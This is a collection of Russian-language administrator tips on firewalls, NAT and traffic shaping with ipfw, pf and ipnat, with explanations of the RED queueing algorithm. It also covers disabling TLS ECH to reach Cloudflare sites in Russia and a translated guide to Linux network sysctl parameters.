    * avg <- (1-w_q) * avg + w_q * q_size
    * where q_size is the queue length (measured in bytes or * packets).
    *
    * If q_size == 0, we compute the idle time for the link, and set
    * avg = (1 - w_q)^(idle/s)
    * where s is the time needed for transmitting a medium-sized packet.
    
    - что полностью согласуется с приведенными выше формулами.
    
    Далее в алгоритме вводятся два порога уровня перегрузки: min_th и max_th. 
    Когда уровень перегрузки ниже первого порога min_th, то пакеты не отбрасываются. 
    Если уровень перегрузки находится между двумя порогами, пакеты отбрасываются с линейно 
    возврастающей вероятностью из диапазона от 0 до конфигурируемой величины max_p, 
    которая достигается при достижении второго порога max_th. Выше порога max_th 
    отбрасываются все пакеты.
    
    Такой метод вычисления позволяет сглаживать всплески трафика - для сравнения в
    первой из статей (см. ниже)
    на одном графике приводятся и изменение размера очереди q, и усредненного размера 
    очереди (avg) от времени. В той же статье есть выкладки на тему значений w_q.
    
    При gentle RED ситуация выглядит чуть сложнее:
    
    Если перегрузки лежит в интервале от min_th до max_th, то пакеты отбрасываются с линейно 
    возрастающей от 0 до max_p вероятностью. Когда перегрузка превышает max_th, 
    но не превышет 2*max_th, пакеты отбрасываются не все (как в случае RED), а с линейно возрастающей 
    от max_p до 1 вероятностью. Все пакеты отбрасываются только после превышения
    перегрузки канала значения 2*max_th.
    
    Вот как это сделано в ip_dummynet.c:
    
    если длина очереди > max_th, то в случае gred вероятность 
    отбрасывания пакета вычисляется как
    
    ; ; p_b = c_3 * avg - c_4
    где c_3 = (1 - max_p) / max_th
    ; ; c_4 = 1 - 2 * max_p
    
    В случае просто RED пакет отбрасывается.
    
    При загрузке очереди, большей min_th, но меньшей max_th, функция
    вероятности одинакова и выглядит след. образом:
    
    ; ; p_b = c_1 *avg - c_2
    где c_1 = max_p / (max_th - min_th),
    ; ; c_2 = max_p * min_th / (max_th - min_th)
    
    Полезные ссылки:
    
       1. http://www.icir.org/floyd/papers/red/red.html
       2. http://www.icir.org/floyd/red.html
       3. http://www.cisco.com/warp/public/732/Tech/red/
    
     
    ----* Как увеличить размер таблицы состояний активных соединений в pf (доп. ссылка 1)   [обсудить]
     
    Проверяем число соединений в таблице и сравнимаем с текущим лимитом:
    
    # pfctl -s state | wc -l
    10000
    # pfctl -s memory | grep states
    states        hard limit    10000
    
    Таблица переполнена, поднимает лимит до 20000:
       set limit states 20000
    
    Перечитываем конфигурацию pf:
       pfctl -O -f /etc/pf.conf
    
     
    ----* Прозрачный переброс SMTP трафика к spamd, используя pf (доп. ссылка 1)   Автор: undeadly.org  [комментарии]
     
    Ниже описано как в разрыв между внешним миром и локальной сетью поставить машину на базе OpenBSD, 
    на которой будет в прозрачном режиме отсеиваться спам через spamd.
    
    fxp2 - внешний интерфейс
    fxp0 - интерфейс локальной сети
    
    Поднимаем бридж:
    
       ifconfig fxp0 up
       ifconfig fxp2 inet 172.16.5.111 netmask 255.255.255.0 up
       route add default 172.16.5.1
       ifconfig bridge0 create
       brconfig bridge0 add fxp0 add fxp2 up
    
    Проверяем включен ли форвадинг пакетов между интерфейсами и загружаем правила пакетного фильтра pf:
    
        sysctl net.inet.ip.forwarding=1
        pfctl -ef /etc/pf.conf
    
    где  /etc/pf.conf:
    
        ext_if="fxp2"
    
        table <spamd> persist
        table <spamd-white> persist
    
        rdr on $ext_if inet proto tcp from <spamd> to port smtp \
                -> 127.0.0.1 port spamd
        rdr on $ext_if inet proto tcp from !<spamd-white> to port smtp \
                -> 127.0.0.1 port spamd
    
        # "log" so you can watch the connections getting trapped
        pass in log on $ext_if route-to lo0 inet proto tcp to 127.0.0.1 port spamd
    
     
    ----* Как избавится от роста висящих FIN_WAIT_2 соединений под FreeBSD   [комментарии]
     
    Если используется ipfw2 и keep-state правила, то от непрерывного роста 
    соединений со статусом FIN_WAIT_2 помогает:
       sysctl -w net.inet.ip.fw.dyn_keepalive=0
    
     
    ----* Как вести лог блокировок в iptables и ipfw   [комментарии]
     
    Linux:
    
    - Перед правилом блокировки нужно вставить "log" правило:
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 \
          -j LOG --log-level debug --log-prefix "outgoing mail" 
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 -j DROP
    
    - Проверить запущены ли в системе klogd и syslogd.
    
    - Настроить /etc/syslog.conf на прием kern.debug логов:
       kern.=debug   -/var/log/kernel/info
    
    FreeBSD:
    Добавить ключ log в ipfw, например:
       ipfw add 1000 deny log tcp from any to 192.168.10.10 22 via fxp0
       ipfw add 1000 deny log logamount 0 tcp from any to 192.168.10.10 80 via fxp0
    
    Для ведения логов ядро должно быть собрано с IPFIREWALL_VERBOSE или нужно
    выставить "sysctl -w net.inet.ip.fw.verbose=1".
    
    Далее проверить чтобы в /etc/syslog.conf было упоминание LOG_SECURITY:
       security.*      /var/log/security
    
    Через параметр logamount передается число записей которые будет записано в лог, 
    после превышения записи перестанут появляться в логе, до тех пор пока не будет вызвана команда 
    "ipfw resetlog". Максимальное число сообщений можно также установить 
    через sysctl net.inet.ip.fw.verbose_limit. 
    Для отмены лимитирования на число записей, нужно установить атрибут в 0.
    
     
    ----* Безопасное редактирование правил ipfw FreeBSD   Автор: 135all  [обсудить]
     
    Для безопасного редактирование правил ipfw рекомендую обратить внимание на скрипт change_rules.sh, 
    находящийся в /usr/share/examples/ipfw. В случае неправильных действий он
    вернёт старый набор правил,
    а также сообщит  администратору об изменениях в файрволе по почте.
    
     
    ----* В двух словах про включение NAT и Firewall в ОС FreeBSD (доп. ссылка 1)   Автор: hub.ru  [комментарии]
     
    Что бы поднять NAT и Firewall на FreeBSD надо:
    
    Скомпилировать ядро:
    Следующие строки нужно включить в /usr/src/sys/i386/conf/GENERIC файл конфигурации:
    
       options IPFIREWALL
       options IPDIVERT
       options IPFIREWALL_VERBOSE
       options IPFIREWALL_VERBOSE_LIMIT=10
       options DUMMYNET
       options TCP_DROP_SYNFIN
    
    Переходим в директорию /usr/src/
       make buildkernel KERNCONF=GENERIC
       make installkernel KERNCONF=GENERIC
    
    Следующие строки можно к примеру включить в rc.conf файл конфигурации:
    
       hostname="free"
       ifconfig_rl0="10.0.0.1"
       gateway_enable="YES"
       firewall_enable="YES"
       firewall_type="open"
       natd_enable="YES"
       natd_interface="rl0"
       natd_flags="-redirect_port tcp 10.0.0.10:80 80"
       tcp_extensions="NO"
       tcp_drop_synfin="YES"
       icmp_drop_redirect="YES"
       sendmail_enable="NONE"
    
    Для удаленного управления нужно добавить следующую строку:
       sshd_enable="YES"
    (возможно понадобится скопировать /etc/ssh/ssh_host_dsa_key.pub в /root/.ssh/authorized_keys
    
    Следующие строки можно включить в rc.firewall файл конфигурации (секция "open"):
    
       [Oo][Pp][Ee][Nn])
       oif="rl0"
       iif="tx0"
       oip="132.5.7.172"
       iip="10.0.0.1"
       lan="10.0.0.0/24"
       setup_loopback
       # allow all for LAN
       ${fwcmd} add 500 pass all from ${lan} to ${iip} via ${iif}
       ${fwcmd} add 550 pass all from ${iip} to ${lan} via ${iif}
       # download - 60K upload - 6K for all lan ip's
       ${fwcmd} add 600 pipe 1 ip from any to any in via ${oif}
       ${fwcmd} add 650 pipe 2 ip from any to any out via ${oif}
       # for selected ip's only
       # ${fwcmd} add 601 pipe 1 all from any to 10.0.0.10
       # ${fwcmd} add 651 pipe 2 all from 10.0.0.10 to any
       ${fwcmd} pipe 1 config bw 512Kbit/s
       ${fwcmd} pipe 2 config bw 48Kbit/s
       # dns setup
       ${fwcmd} add 770 pass tcp from any to ${oip} 53 setup
       ${fwcmd} add 780 pass udp from any domain to any
       ${fwcmd} add 790 pass udp from any to any domain
       # main setup
       ${fwcmd} add 800 pass tcp from any http,https,20-21,989-990 to any
       ${fwcmd} add 810 pass tcp from any to any http,https,20-21,989-990
       ${fwcmd} add 830 pass tcp from any pop3,pop3s,smtp,imap,imaps,aol to any
       ${fwcmd} add 840 pass tcp from any to any pop3,pop3s,smtp,imap,imaps,aol
       ${fwcmd} add 65000 deny ip from any to any
       ;;
     
    Где oip, oif - внешний интерфейс; iip, iif - внутренний; lan - внутренняя сеть.
    
    Такая конфигурация ipfw весьма параноидальна, и здесь приведена только в качестве примера. 
    На практике обычно нужен более открытый фаервол. 
    
     
    ----* pf и трансляция адресов на двух интерфейсах   Автор: DelGod  [комментарии]
     
    Решение оптимизировано для шлюза на флешке (не используется perl и другие "тяжелые" решения)
    
    -------------------------
    /usr/local/etc/rc.d/openvpn.sh
    -------------------------
    
    #!/bin/sh
    
    . /etc/rc.subr
    
    name=openvpn
    rcvar=`set_rcvar`
    
    prefix="/usr/local"
    
    openvpn_precmd()
    {
            for i in $openvpn_if ; do
                    # FreeBSD <= 5.4 does not know kldstat's -m option
                    # FreeBSD >= 6.0 does not add debug.* sysctl information
                    # in the default build - we check both to keep things simple
                    if ! sysctl debug.if_${i}_debug >/dev/null 2>&1 \
                            && ! kldstat -m if_${i} >/dev/null 2>&1 ; then
                            if ! kldload if_${i} ; then
                                    warn "Could not load $i module."
                                    return 1
                            fi
                    fi
            done
            return 0
    }
    
    start_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route add "$1" 193.201.61.65 >/dev/null")} }'`
            /bin/sleep 10 && pfctl -F all -f /etc/pf.conf_openvpn
    }
    
    stop_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route delete "$1" 193.201.61.65 >/dev/null")} }'`
            pfctl -F all -f /etc/pf.conf
            rm -f "$pidfile" || warn "Could not remove $pidfile."
    }
    
    extra_commands="reload"
    pidfile="/var/run/${name}.pid"
    command="/usr/local/sbin/${name}"
    start_precmd="openvpn_precmd"
    start_postcmd="start_postcmd"
    stop_postcmd="stop_postcmd"
    
    load_rc_config ${name}
    : ${openvpn_enable="NO"}
    : ${openvpn_flags=""}
    : ${openvpn_if=""}
    : ${openvpn_configfile="${prefix}/etc/openvpn/openvpn.conf"}
    : ${openvpn_dir="${prefix}/etc/openvpn"}
    required_files="${openvpn_configfile}"
    command_args="--cd ${openvpn_dir} --daemon --config ${openvpn_configfile} --writepid ${pidfile}"
    run_rc_command "$1"
    
    -------------------------
    /etc/pf.conf
    -------------------------
    
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    nat on $ext_if_t inet from <users> to any  -> $ext_if_t
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    /etc/pf.conf_openvpn
    -------------------------
    
    ext_if_o="tap0"
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    table <ukr> persist file "/var/db/ukr_nets"
    nat on $ext_if_t inet from <users> to <ukr>  -> $ext_if_t
    nat on $ext_if_o inet from <users> to !<ukr> -> $ext_if_o
    pass on $ext_if_o all
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    cron:
    -------------------------
    
    0 0 * * * /usr/bin/fetch -q -o "/var/db/ukr_nets" 'http://www.colocall.net/ua/?list'
    
     
    ----* FreeBSD 5.3 ipfw правило по умолчанию   Автор: else  [комментарии]
     
    В прежних версиях FreeBSD изменить правило по умолчанию 
       65535  deny ip from any to any на 
       allow ip from any to any 
    можно было включением в ядро опции
       IPFIREWALL_DEFAULT_TO_ACCEPT.
    
    В версии 5.3 это не работает. Даже собрав ядро с этой опцией, получаем правило по умолчанию 
       deny ip from any to any. 
    
    Если сборка производится удаленно - сюрприз может оказаться довольно неприятным.
    
     
    ----* Проброс портов с двух различных gateway на внутренний сервер через IPNAT   Автор: Жека  [комментарии]
     
    Иногда необходимо пробросить порты с двух различных gateway GW1 и GW2 на один внутренний сервер, 
    у которого в качестве default GW указан GW1.
    Прямой проброс и NAT невозможен, т.к. пакеты пришедшие из GW2 попытаются
    вернуться по маршруту через GW1.
    Есть следующий выход, это двойной NAT на GW2, при котором запрос приходит не
    снаружи, а с внутреннего IP.
    
    ed0 - внешний интерфейс
    lnc0 - интерфейс смотрящий внутрь.
    
    в ipnat.rules нужно прописать следующее:
       map ed0 10.6.10.0/24 -> 0.0.0.0/32 мапим локалку наружу
       map lnc0 0.0.0.0/0 -> 0.0.0.0/32 ремап внешних ip в локальные
       rdr ed0 0.0.0.0/0 port 80 -> 10.6.10.2 port 80 tcp форвард на внутренний сервер
    
     
    ----* Как с помощью ipfw отрезать баннеры в ICQ   Автор: orm_vartis  [комментарии]
     
    Мысль простая:
    Аська сообщениями по 5190 и другим портам обменивается, а баннеры только с определенных 
    IP  с 80го порта качает по HTTP ... Когда я на это наткнулся, написал скрипт такого содержания:
    
    #!/bin/sh
    # add this rule to your firewall and :
    # ipfw deny tcp from 192.168.0.0/16 to table(1) out via rl0 setup dst-port 80
    
    NETS=" 64.12.164 64.12.174 152.163.208 205.188.165 205.188.248 205.188.250 "
    IPS=" 25 57 121 153 185 245 "
    fwcmd=" ipfw "
    tablenum=" 1 "
    
    #Flushing table
    ${fwcmd} table ${tablenum} flush
    
    #Add tables ips
    for D1 in ${NETS}
      do     
      for D2 in ${IPS}
        do
        ${fwcmd} table ${tablenum} add ${D1}.${D2}
        done
      done
    
    
    И в firewall воткнул правило вида
       ipfw deny tcp from any to table\(1\) out via rl0 setup dst-port 80
    
    Где  rl0 - внешний интерфейс.
    
    Правильнее, конечно настроить squid и резать банеры на нем - но так проще и
    быстрее. К тому же заметно меньше грузит машину.
    
     
    ----* Как разделить канал между пользователями используя ipfw. (доп. ссылка 1)   Автор: mgear  [обсудить]
     
       /sbin/ipfw pipe 1 config bw 7000Kbit/s
       /sbin/ipfw queue 1 config pipe 1 weight 75 mask dst-ip 0x00000000
       /sbin/ipfw queue 2 config pipe 1 weight 50 mask dst-ip 0x00000000
       /sbin/ipfw queue 3 config pipe 1 weight 50 mask dst-ip 0x00000000
       /sbin/ipfw queue 4 config pipe 1 weight 50 mask dst-ip 0x00000000
       /sbin/ipfw add queue 1 ip from any to 192.168.0.0/24
       /sbin/ipfw add queue 2 ip from any to 192.168.1.0/24
       /sbin/ipfw add queue 3 ip from any to 192.168.2.0/24
       /sbin/ipfw add queue 4 ip from any to 192.168.3.0/24
    
    Итого имеем: одну толстую трубу на 7К и 4 очереди в нее. 
    У первой приоритет 75% канала. У остальных - по 50% 
    
     
    ----* Установка IPFW2 на FreeBSD   Автор: Tigran Parsadanian  [комментарии]
     
    Собираем библиотеки и сам IPFW:
       cd /usr/src/lib/libalias
       make -DIPFW2 && make install
       cd /usr/src/sbin/ipfw
       make -DIPFW2 && make install
    Пересобираем ядро с "options IPFW2" и опциями по вкусу:
    options         IPFIREWALL              #firewall
    options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
    options         IPFIREWALL_FORWARD      #enable transparent proxy support
    options         IPFIREWALL_VERBOSE_LIMIT=100    #limit verbosity
    options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
    options         DUMMYNET
    options         IPFW2
    Делаем reboot и проверяем например командой "ipfw show"
    
     
    ----* Как в FreeBSD перебросить соединение через NAT во внутреннюю сеть  (доп. ссылка 1)   Автор: spanka  [комментарии]
     
     Вот реализация для ipfw:
    if1IP="ип_смотрящий_в_инет", if1="интерфейс_смотрящий_в_инет"
    ifLIP="ип_на_который хотим делать редирект"
      ipfw add divert natd tcp from any to ${if1IP} 80 via ${if1}
      ipfw add divert natd ip from any to ${ifLIP} to any via ${if1}
      ipfw add allow tcp from any to ${if1IP} 80 via any
      natd -n ${if1} -redirect_port tcp ${ifLIP}:80 80
    
    Решение от miaso <torov@wipline.ru>:
      tproxy -s 80 -r nobody -l /var/log/transparent_proxy.log [int_ip] 80 
    
     
    ----* Как разрешить или запретить выполнение следующих ipfw правил после встречи dummynet pipe   [комментарии]
     
    Завершить выполнение цепочки ipfw правил после попадания в pipe:
       sysctl -w net.inet.ip.fw.one_pass=1                                             
    Продолжить выполнение следующих ipfw правил после попадания в pipe:
       sysctl -w net.inet.ip.fw.one_pass=0
    
     
    ----* Как правильно зафильтровать ICMP через FreeBSD ipfw (доп. ссылка 1)   Автор: Nikola_SPb  [комментарии]
     
    Расшифровка кодов ICMP сообщений:
    echo reply (0), destination unreachable (3), source quench (4), redirect (5),
    echo request (8), router adver-tisement (9),
    router solicitation(10), time-to-live exceeded (11), IP header bad (12),
    timestamp request (13), timestamp reply (14),
    information request (15), information reply (16), address mask request (17) and
    address mask reply (18).
    ${fwcmd} add 00300 allow icmp from any to внешний_IP in via внешний_интерфейс icmptype 0,3,4,11,12
    ${fwcmd} add 00301 allow icmp from внешний_IP to any out via внешний_интерфейс icmptype 3,8,12
    ${fwcmd} add 00304 allow icmp from внешний_IP to any out via внешний_интерфейс frag
    ${fwcmd} add 00305 deny log icmp from any to any in via внешний_интерфейс
    
     
    ----* Как организовать редирект порта на внутреннюю машину через ipnat в FreeBSD.   [комментарии]
     
    man 5 ipnat  в /etc/ipnat.conf:
      rdr fxp0 205.15.63.3/32 port 80 -> 192.168.1.1 port 80 tcp
    # Базансировка нагрузки между 2 IP:
      rdr le0 203.1.2.3/32 port 80 -> 203.1.2.3,203.1.2.4 port 80 tcp round-robin
    
     
    ----* Как у ipfilter обнулить статистику без перезагрузки ?   [обсудить]
     
      ipf -z -f my_ipfilter_rules_file
    
     
    ----* Как в ipfw если выполнилось условие, пропустить следующие N правил.   [обсудить]
     
    ipfw add 50 skipto 100 tcp from any to 1.2.3.4
    ipfw add 60 .....
    ipfw add 100 .....
    
     
    ----* Пример ограничения полосы пропускания трафика в FreeBSD   [комментарии]
     
    Собираем ядро с опциями:
       options         DUMMYNET
       options         IPFIREWALL
    Ограничиваем трафик для сеток 1.1.1.0/24 и 3.3.3.0/24 на 14000 кбит/с:
       ipfw add pipe 50 tcp from any to 1.1.1.0/24 via fxp0
       ipfw add pipe 50 tcp from any to 3.3.3.0/24 via fxp0
       ipfw pipe 50 config bw 14Kbit/s
    Для внесения задержки на N ms, используйте delay N после config.
    Для установки веса данного пайпа по отношению к другим пайпам используйте weight вес.
    Для WF2Q ограничения трафика используйте ipfw queue
    (queue N config [pipe pipe_nr] [weight weight] [queue {slots | size})
    PS (комментарий от gara@mail.ru):
     Если возникает необходимость организовать "канал" для каждого пользователя из данной сети то пишем:
    ipfw pipe 10 config mask dst-ip 0x000000ff bw 1024bit/s  queue
    ipfw add pipe 10 tcp from any to 1.1.1.0/24 via fxp0
    Теперь каждый хост из сети 1.1.1.0/24 имеет свой канал 1024bit/s
    
     
    ----* Можно ли отфильтровывать пакеты (вести лог) в зависимости от UID пользователя ?   [обсудить]
     
    Для FreeBSD:
    ipfw add count tcp from any to not 192.168.1.0/24 uid 231
    uid user (или gid group) - под правило попадают все TCP или UDP пакеты посланный 
    или принятые пользователем user (группой group).
    В Linux в ядрах 2.4.x в iptables можно использовать модуль owner.
    
     
    ----* Как запретить открывать более 30 соединений с одного IP   [комментарии]
     
    Запретим более 30 коннектов для 80 порта сервера 1.2.3.4.
        ipfw add allow tcp from any to 1.2.3.4 80 limit src-addr 30
        ipfw add allow tcp from any to 1.2.3.4 80 via fxp0 setup limit src-addr 10
    Вместо src-addr можно использовать src-port, dst-addr, dst-port
    Конструкция работает в последних версиях FreeBSD 4.x ветки.
    
     
    ----* Как обеспечить работу active FTP режима в FreeBSD NAT   [обсудить]
     
    В ipnat воспользуйтесь модулем ftp proxy:
      map fxp0 0/0 -> 0/32 proxy port ftp ftp/tcp
      map rl0 172.16.33.0/24 -> 212.46.231.50/32 proxy port ftp ftp/tcp
    не забудьте поместить правило трансляции ftp перед общим правилом трансляции, 
    порядок следования правил важен.
    
     
    ----* Как запустить трансляцию адресов (NAT) под FreeBSD   [комментарии]
     
    В /etc/rc.conf: 
      ipnat_enable="YES"
    
    В /etc/ipnat.rules: 
    Трансляция адресов (NAT):
    
      map ppp0 172.16.1.0/24 -> 194.46.124.53/32
    
    где, ppp0 - внешний интерфейс, 
    172.16.1.0/24 - внутренние IP, 
    194.46.124.53 - реальный IP внешнего интерфейса.
    
    Переброс порта во внутреннюю сеть:
    
       rdr ed0 294.16.9.6/32 port 8080 -> 192.168.0.7 port 8080 tcp
    
    где, ed0 - внешний интерфейс, 
    294.16.9.6 - реальный IP внешнего интерфейса, на который нужно обращаться из вне.
    192.168.0.7 - внутренний IP на который делается переброс.
    8080  - номер перебрасываемого порта.
    
    
    Перечитать: ipnat -CF -f /etc/ipnat.rules
    
     
    ----* Как организовать Policy Routing на FreeBSD   [комментарии]
     
    ipfw add 100 fwd 10.0.0.2 ip from 10.0.2.0/24 to any 
    
    Если нужно использовать 2 шлюза, то можно воспользоваться:
      ipfw add  fwd $ext_gw_ip ip from $ext_net to any out xmit $ext_int
    
     
    ----* Автоматическая нумерация правил ipfw в FreeBSD (доп. ссылка 1)   Автор: Дмитрий Новиков  [комментарии]
     
    Для автоматической нумерации правил ipfw мы применяем следующий             
     несложный прием:
    C=300 # начальное значение
    STEP=100 # Шаг увеличения
    ipfw add $C $(C=$(($C+$STEP))) allow ip from 10.128.0.0/16 to 10.128.0.0/16
    ipfw add $C $(C=$(($C+$STEP))) allow ip from 195.131.31.0/24 to 195.131.31.0/24
    
     

       Проблемы работы сети

    ----* Как отключить TLS-расширение ECH для решения проблем с Cloudflare в РФ   [комментарии]
     
    Роскомнадзор начал блокировать в РФ  соединения к сайтам, использующим
    TLS-расширение ECH (Encrypted Client Hello). Блокировка привела к массовым
    проблемам с сайтами, работающими через сеть доставки контента Cloudflare,
    которую используют примерно 19% всех сайтов в интернете (по другим данным
    16%  (31 млн) активных сайтов или 23.83% из миллиона самых популярных сайтов).
    
    О масштабе сбоев можно судить хотя бы по тому, что из-за блокировки ECH была
    нарушена работа сайта самого Роскомнадзора, на котором для загрузки шрифтов
    использовался сервис webfontfree.com, работающий через Cloudflare (первая
    попытка открытия rkn.gov.ru приводила к минутному зависанию до истечения таймаута).
    
    
    ECH продолжает развитие TLS-расширений SNI и ESNI (Encrypted Server Name
    Indication) и предназначен для шифрования информации о параметрах TLS-сеансов,
    таких как запрошенное доменное имя. Если без ECH на стороне интернет-провайдера
    можно выборочно фильтровать HTTPS-трафик и анализировать какие сайты открывает
    пользователь, то ECH позволяет добиться полной конфиденциальности при
    применении HTTPS при обращении к сайтам, использующим сети доставки контента с
    поддержкой ECH. После включения поддержки ECH в Cloudflare Роскомнадзор потерял
    возможность блокировать сайты, использующие данную сеть доставки контента, и
    поэтому просто начал блокировать HTTPS-запросы с ECH (судя по всему блокировка
    ECH  пока ограничивается отдельными подсетями Cloudflare).
    
    На стороне пользователя в Firefox доступ к сайтам, работающим через Cloudflare,
    можно решить двумя путями:
    
    * отключить настройки network.dns.echconfig.enabled и
    network.dns.http3_echconfig.enabled на странице about:config
    
    * отключить использование протокола TLS 1.3 выставив в about:config параметр
    security.tls.version.max  в значение "3". При этом может быть нарушена работа с
    серверами, поддерживающими только протокол TLS 1.3 и отключившими поддержку TLS 1.2.
    
    В Chrome раньше ECH можно было отключить через параметр 
    chrome://flags#encrypted-client-hello, но с февраля этого года он удалён и ECH
    всегда включён по умолчанию. Для отключения ECH в Chrome обходным путём можно
    создать файл /etc/opt/chrome/policies/managed/conf.json c содержимым:
    
       {
         "EncryptedClientHelloEnabled": false
       }
    
    
    
    Владельцы сайтов, использующих Cloudflare, могут отключить ECH в личном
    кабинете dash.cloudflare.com в секции "SSL > Edge Certificates > Encrypted
    ClientHello (ECH)".
    
    Если тарифный план не предусматривает возможность изменения данной настройки
    через web-интерфейс, для отключения ECH можно использовать API:
    
       curl -X PATCH "https://api.cloudflare.com/client/v4/zones/ID_ZONE/settings/ech" -H "X-Auth-Key: YOUR_GLOBAL_API_KEY" -H "X-Auth-Email: YOUR_EMAIL" -H "Content-Type: application/json" --data '{"id":"ech","value":"off"}'
    
     
    ----* Часто используемые параметры sysctl, касающиеся настройки сети в Linux (доп. ссылка 1)   Автор: zersh  [комментарии]
     
    От переводчика (@zersh).
    
    Это адаптированный перевод работы https://github.com/leandromoreira/linux-network-performance-parameters
    Для понимания некоторых моментов использовалась статья. Принимаются любые
    замечания и предложения. Спасибо zizmo и @servers(Artem) - за помощь и
    конструктивную критику)
    Лицензия: BSD-3
    
    Введение
    
    Иногда люди пытаются найти некие универсальные значения параметров sysctl
    (https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt), применение
    которых во всех случаях позволит добиться и высокой пропускной способности, и
    низкой задержки при обработке сетевых запросов. К сожалению, это не возможно,
    хотя стоит отметить, что современные версии ядер по умолчанию уже неплохо
    настроены. Важно понимать, что изменение заданных по умолчанию настроек может
    ухудшить производительность (https://medium.com/@duhroach/the-bandwidth-delay-problem-c6a2a578b211).
    
    Это краткое руководство, в котором приведены часто используемые параметры
    sysctl, касающиеся настройки сети Linux, вдохновлённый иллюстрированным
    руководством по сетевому стеку Linux
    (https://blog.packagecloud.io/eng/2016/10/11/monitoring-tuning-linux-networking-stack-receiving-data-illustrated/) и
     многими постами Marek Majkowski (https://blog.cloudflare.com/how-to-achieve-low-latency/).
    
    
    Обзор сетевых очередей Linux
    
    
    
    
    
    Связь переменных sysctl с различными стадиями обработки сетевых потоков в Linux
    
    
    Входящие пакеты (Ingress)
    
    1. Пакеты прибывают в NIC (сетевой адаптер)
    
    2. NIC проверяет `MAC` (если не включён promiscuous-режим) и `FCS (Frame check
    sequence)` и принимает решение отбросить пакет или продолжить обработку.
    
    3. NIC используя DMA (https://en.wikipedia.org/wiki/Direct_memory_access),
    помещает пакеты в RAM регионе, ранее подготовленном (mapped) драйвером.
    
    4. NIC ставит ссылки в очередь на пакеты при получении ring buffer
    (https://en.wikipedia.org/wiki/Circular_buffer) очередь `rx` до истечения
    таймаута  `rx-usecs` или `rx-frames`
    
    5. NIC Генерируется аппаратное прерывание, чтобы система узнала о появлении
    пакета в памяти `hard IRQ`
    
    6. CPU запустит `IRQ handler`, который запускает код драйвера
    
    7. Драйвер вызовет  `планировщик NAPI`, очистит `hard IRQ` 
    
    8. Драйвер будит подсистему NAPI с помощью `soft IRQ (NET_RX_SOFTIRQ)`
    
    9. NAPI опрашивает данные, полученные из кольцевого буфера до тех пор пока не
    истечёт таймаут `netdev_budget_usecs`, или `netdev_budget` и `dev_weight` пакета
    
    10. Linux также выделяет память для `sk_buff`
    
    11. Linux заполняет метаданные: протокол, интерфейс, устанавливает MAC-адрес
    (setmacheader), удаляет ethernet
    
    12. Linux передаёт skb (данные) в стэк ядра (`netif_receive_skb`)
    
    13. Установит сетевые заголовки, клонирует `skb` ловушкам (вроде tcpdump) и передаст на вход
    
    14. Пакеты обрабатываются в qdisc (Queueing discipline) размера
    `netdev_max_backlog`, алгоритм которого определяется `default_qdisc`
    
    15. Вызывает `ip_rcv` и пакеты обрабатываются в IP
    
    16. Вызывает netfilter (`PREROUTING`)
    
    17. Проверяет маршрутизацию, кому предназначен пакет: переслать (forwarding) или локально (local)
    
    18. Если локально, вызывает netfilter (`LOCAL_IN`)
    
    19. Это вызовет протокол L4 (для примера `tcp_v4_rcv`)
    
    20. Находит нужный сокет
    
    21. Переходит на конечный автомат tcp (finite state machine).
    
    22. Поставит пакет в входящий буфер, размер которого определяется правилами
    `tcp_rmem`. Если `tcp_moderate_rcvbuf` включён, ядро будет автоматически тюнить
     буфер приёма (receive)
    
    23. Ядро сигнализирует приложению, что доступны данные (epoll или другая  polling-система)
    
    24. Приложение просыпается и читает данные
    
    Исходящие пакеты (Egress)
    
    1. Приложение отправляет сообщение (`sendmsg` или другие)
    
    2. TCP-стек выделяет память для skb_buff
    
    3. Помещает skb в сокет буфера, размером `tcp_wmem`
    
    4. Создаст TCP заголовки (источник и порт назначения, контрольная сумма)
    
    5. Вызывает обработчик L3 (в данном случае `ipv4` в `tcp_write_xmit` и 
    `tcp_transmit_skb`)
    
    6. L3 (`ip_queue_xmit`)  построит заголовок IP и вызовет netfilter (`LOCAL_OUT`)
    
    7. Вызывает действие выходного маршрута (Calls output route action)
    
    8. Вызывает netfilter (`POST_ROUTING`)
    
    9. Фрагментирует пакет (`ip_output`)
    
    10. Вызывает функции отправки L2 (`dev_queue_xmit`)
    
    11. Подаёт на выход (QDisc) очередь длинной `txqueuelen` с алгоритмом `default_qdisc`
    
    12. Код драйвера помещает пакеты в `ring buffer tx`
    
    13. Драйвер генерирует `soft IRQ (NET_TX_SOFTIRQ)` после `tx-usecs` таймаута или `tx-frames`
    
    14. Реактивирует аппаратное прерывание (IRQ) в NIC
    
    15. Драйвер отражает (map) все пакеты (для отправки) в некоторую область DMA
    
    16. NIC получит пакеты (через DMA) из RAM для передачи
    
    17. После передачи NIC поднимет сигнал `hard IRQ` о его завершении
    
    18. Драйвер обработает это прерывание IRQ (выключает)
    
    19. И планирует (`soft IRQ`) NAPI poll system 
    
    20. NAPI будет обрабатывать сигналы приёма пакетов и освобождать ОЗУ
    
    
    Для отслеживания обработки событий, связанных с выполнением сетевой операции,
    можно использовать команду:
    
       perf trace --no-syscalls --event 'net:*' ping globo.com -c1 > /dev/null
    
    
    
    
    Что, Почему и Как - сеть и  sysctl параметры
    
    Кольцевой буфер (Ring Buffer) - rx, tx
    
    Что: драйвер очереди приёма/отправки одной или нескольких очередей с
    фиксированным размером, обычно реализованный как FIFO, находится в ОЗУ
    
    Почему: буфер для плавного прима соединений без их отбрасывания. Возможно, вам
    понадобится увеличить эти очереди, когда вы увидите сбросы (drops) или
    переполнения, то есть, если поступает больше пакетов, чем ядро может
    обработать. Побочным эффектом от увеличения буфера может стать увеличение задержки.
    
    Как:
    
    Команда проверки: 
    
       ethtool -g ethX
    
    Как изменить: 
    
       ethtool -G ethX rx значение tx значение
    
    Как мониторить: 
    
       ethtool -S ethX | grep -e "err" -e "drop" -e "over" -e "miss" -e "timeout" -e "reset" -e "restar" -e "collis" -e "over" | grep -v "\: 0"
     
